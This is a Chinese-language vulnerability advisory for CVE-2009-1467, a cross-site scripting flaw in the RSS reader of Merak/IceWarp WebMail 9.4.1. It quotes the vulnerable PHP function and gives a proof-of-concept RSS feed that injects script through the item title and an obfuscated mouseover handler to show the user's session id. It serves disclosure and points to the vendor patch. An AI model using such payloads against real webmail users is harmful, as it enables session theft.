Merak邮件服务器RSS源阅读器跨站脚本漏洞


添加时间:
2009-05-08

系统编号:
WAVDB-01396
BugCVE: CVE-2009-1467
BUGTRAQ: 34825

影响版本:
Icewarp WebMail Server 9.4.1

程序介绍:

Merak Email Server是一个全面的办公室局域网或Internet通讯邮件解决方案。

漏洞分析:

Merak邮件服务器的WebMail用户可以向其文件夹列表中添加RSS源作为文件夹,这些源是由html/webmail/server/inc/rss/rss.php文件解析的,并在html/webmail/server/inc/rss/item.php文件中处理RSS channel中的每个item元素。

getHTML()函数中汇集并返回了条目的最终HTML页面,title和description对应源中的<title>和<description>元素,href对应<link>元素:

------------------------------------------------------------------------
159   public function getHTML(&$aItem)
160   {
161       $aHTML['title'] = $this->subject;
162       $aHTML['href'] = $this->to;
163       $aHTML['description'] = Tools::cleanHTML($this->body,$base);
164
165       $aURL = parse_url($this->to);
166       $aItem['base'] = $aURL['host'];
167
168       @$sHTML = htmlspecialchars(
                        template('inc/templates/rss.tpl',$aHTML)
                    );
169
170       return $sHTML;
171   }
------------------------------------------------------------------------

cleanHTML()函数仅对描述执行了过滤,而title和href未经任何修改便嵌入到了最终的HTML页面中,也就是当用户点击显示条目的时候,会执行用户所订阅到的RSS源条目的<title>或<link>元素中所嵌入的HTML或JavaScript代码。



漏洞利用:

 
  1. <?xml version="1.0" encoding="UTF-8"?>  
  2. <rss version="2.0">  
  3. <channel>  
  4.     <title>RedTeam Pentesting</title>  
  5.     <link    
  6.       href="http://www.redteam-pentesting.de"    
  7.       rel="self"    
  8.       type="application/rss+xml" />  
  9.     <link>http://www.redteam-pentesting.de</link>  
  10.     <description>Seeing your network from the attacker's perspective</description>  
  11.     <pubDate>Mon, 16 Apr 2009 05:23:42 +0000</pubDate>  
  12.     <language>de</language>  
  13.     <item>  
  14.       <title><script>alert('Title: Your session id is: ' + \   
  15. window.top.sSID);</script></title>  \   
  16. <link>http://www.redteam-pentesting.de/pentest</link>  <pubDate>Mon, 16 Apr 2009 \   
  17. 05:23:42 +0000</pubDate>  <description>  
  18.         <div o<xml>nmouseover="alert('Description: Your session id is: \   
  19. ' + window.top.sSID)">  RedTeam Pentesting XSS   
  20.         </div>  
  21.       </description>  
  22.     </item>  
  23.   </channel>  
  24. </rss>  


解决方案:
厂商补丁:

Icewarp
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.icewarp.com/

信息来源:
<*来源:RedTeam Pentesting

链接:http://marc.info/?l=bugtraq&m=124153304701924&w=2
*>